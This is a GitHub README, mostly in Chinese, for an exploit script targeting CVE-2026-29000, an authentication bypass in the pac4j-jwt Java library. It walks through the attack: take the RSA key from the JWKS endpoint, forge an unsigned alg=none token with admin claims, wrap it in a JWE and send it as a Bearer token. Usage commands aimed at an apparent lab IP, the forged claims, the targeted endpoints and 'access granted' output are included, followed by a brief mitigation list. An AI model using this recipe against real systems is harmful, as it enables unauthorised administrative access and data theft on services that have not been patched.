FranzAlvis/Cve_2026_29000_exploit
GitHub: FranzAlvis/Cve_2026_29000_exploit
针对 pac4j-jwt 库 PlainJWT-in-JWE 认证绕过漏洞的自动化利用脚本,可从暴露的 JWKS 端点获取公钥并构造恶意 JWE Token 实现未授权访问。
Stars: 0 | Forks: 0
# CVE-2026-29000 — pac4j-jwt JWE 中的 PlainJWT 认证绕过
```
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝
CVE-2026-29000
pac4j-jwt PlainJWT-in-JWE Auth Bypass | CVSS 10.0
Hurtcore - Fr4nZ!!!
```
| Campo | Detalle |
|---|---|
| **CVE** | CVE-2026-29000 |
| **CVSS** | 10.0 — Critical |
| **Librería afectada** | `org.pac4j:pac4j-jwt` |
| **Versiones vulnerables** | < 4.5.9 / < 5.7.9 / **< 6.3.3** |
| **Versión objetivo (HTB)** | 6.0.3 (vulnerable) |
| **Tipo** | Authentication Bypass |
| **Acceso requerido** | Ninguno (unauthenticated) |
## 这个 CVE 是什么?
`pac4j-jwt` 是一个广泛使用的 Java 库,用于通过 JWT 进行认证。在其 `JwtAuthenticator` 组件中,当同时配置了 **JWE** (JSON Web Encryption) 和 **JWS** (JSON Web Signature) 时,存在一个关键的逻辑缺陷:
服务器期望在 JWE 中接收到一个 **已签名** 的 JWT (JWS),但 **并不验证它是否真的被签名了**。这允许攻击者:
1. 从 `/api/auth/jwks` 端点获取 **RSA 公钥** (根据定义它是公开的)
2. 构建一个 **PlainJWT** (无签名 JWT, `alg=none`),包含任何所需的 claim (`ROLE_ADMIN` 等)
3. 使用 `RSA-OAEP-256 + A128GCM` 和 RSA 公钥 **加密** 该 PlainJWT
4. 将生成的 JWE 作为 Bearer token 发送
5. 服务器将其解密,**不验证** 内部 JWT 的签名,并将其接受为有效
### 攻击流程
```
Atacante Servidor
│ │
│── GET /api/auth/jwks ──────────────►│
│◄─ { RSA public key } ───────────────│
│ │
│ Construye PlainJWT: │
│ { sub: admin, role: ROLE_ADMIN } │
│ alg=none (sin firma) │
│ │
│ Cifra con RSA pública: │
│ JWE(RSA-OAEP-256 + A128GCM) │
│ │
│── GET /api/users │
│ Authorization: Bearer ─────►│
│ descifra JWE│
│ obtiene PlainJWT │
│ ❌ NO verifica firma │
│ acepta claims │
│◄─ HTTP 200 OK + datos de admin ─────│
```
## 前期侦察 (目标揭示的信息)
### 服务器 HTTP 头
```
X-Powered-By: pac4j-jwt/6.0.3 ← versión vulnerable!
Server: Jetty
```
### `/api/auth/jwks` 暴露的 JWKS
```
{
"keys": [{
"kty": "RSA",
"e": "AQAB",
"kid": "enc-key-1",
"n": "lTh54vtBS1NAWrxAFU1NEZdr..."
}]
}
```
### `/app.js` 中的信息 (客户端 JavaScript)
```
Tokens: JWE con RSA-OAEP-256 + A128GCM
Inner JWT firmado con RS256
Issuer: "principal-platform"
Roles: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
Endpoints sensibles: /api/users, /api/settings
```
## 环境要求
```
pip install jwcrypto requests
```
## Exploit 使用方法
### 语法
```
python3 cve_2026_29000_exploit.py --url http://: [opciones]
```
### 选项
| Flag | Descripción | Default |
|---|---|---|
| `--url` | 目标的基础 URL | *(requerido)* |
| `--sub` | Claim `sub` (要冒充的用户) | `admin` |
| `--role` | 要伪造的角色 | `ROLE_ADMIN` |
| `--jwks-live` | 从服务器实时获取 RSA 密钥 | *(hardcodeada)* |
| `--proxy` | 通过 Burp Suite 路由流量 | — |
| `--no-verify` | 禁用 SSL 验证 | — |
### 示例
**基本 Exploit:**
```
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080
```
**使用从 JWKS 实时获取的 RSA 密钥:**
```
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 --jwks-live
```
**冒充特定用户:**
```
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 --sub john --role ROLE_ADMIN
```
**在 Burp Suite 中查看流量:**
```
python3 cve_2026_29000_exploit.py --url http://10.129.244.220:8080 \
--proxy http://127.0.0.1:8080 --no-verify
```
## 脚本逐步执行的操作
### 阶段 1 — JWKS 验证
检查 `/api/auth/jwks` 端点是否可访问,并提取服务器的 RSA 公钥。
### 阶段 2 — 伪造恶意 Token
1. 从 JWKS 加载 RSA 公钥
2. 构建一个包含以下 claims 的 **PlainJWT** (`alg=none`):
{
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": ,
"exp":
}
3. 使用 `RSA-OAEP-256 + A128GCM` 将 PlainJWT 加密为 **JWE**
### 阶段 3 — 利用
使用 JWE 作为 Bearer token 并攻击以下端点:
- `GET /api/dashboard`
- `GET /api/users`
- `GET /api/settings`
## 预期输出
```
[+] Dashboard → HTTP 200 OK — ¡Acceso concedido!
[+] Users → HTTP 200 OK — ¡Acceso concedido!
[+] Settings → HTTP 200 OK — ¡Acceso concedido!
```
## 缓解措施 (针对防御者)
- 将 `pac4j-jwt` 更新至 **6.3.3+** (6.x 分支)、**5.7.9+** 或 **4.5.9+**
- 显式拒绝内部 JWT 中 `alg=none` 的 token
- 如果密钥也用于 token 加密,请勿公开暴露 JWKS
## 仓库结构
```
CVE-2026-29000/
├── README.md ← Este archivo
└── cve_2026_29000_exploit.py ← Script de explotación
```
## 参考
- [NVD — CVE-2026-29000](https://nvd.nist.gov/vuln/detail/CVE-2026-29000)
- [GitHub Advisory — pac4j](https://github.com/pac4j/pac4j/security/advisories)
- [Snyk — pac4j-jwt vulnerability](https://security.snyk.io)
- [RFC 7516 — JSON Web Encryption (JWE)](https://www.rfc-editor.org/rfc/rfc7516)
- [RFC 7519 — JSON Web Token (JWT) — PlainJWT](https://www.rfc-editor.org/rfc/rfc7519)
**作者:** Hurtcore - Fr4nZ!!!
标签:CISA项目, CVE-2026-29000, CVSS 10.0, GHAS, Hurtcore, Java安全, Java库, JWE, JWS, JWT漏洞, pac4j-jwt, Web安全, 严重漏洞, 安全取证, 签名验证缺失, 蓝队分析, 认证绕过, 访问控制失效, 身份验证 bypass, 逆向工具, 逻辑漏洞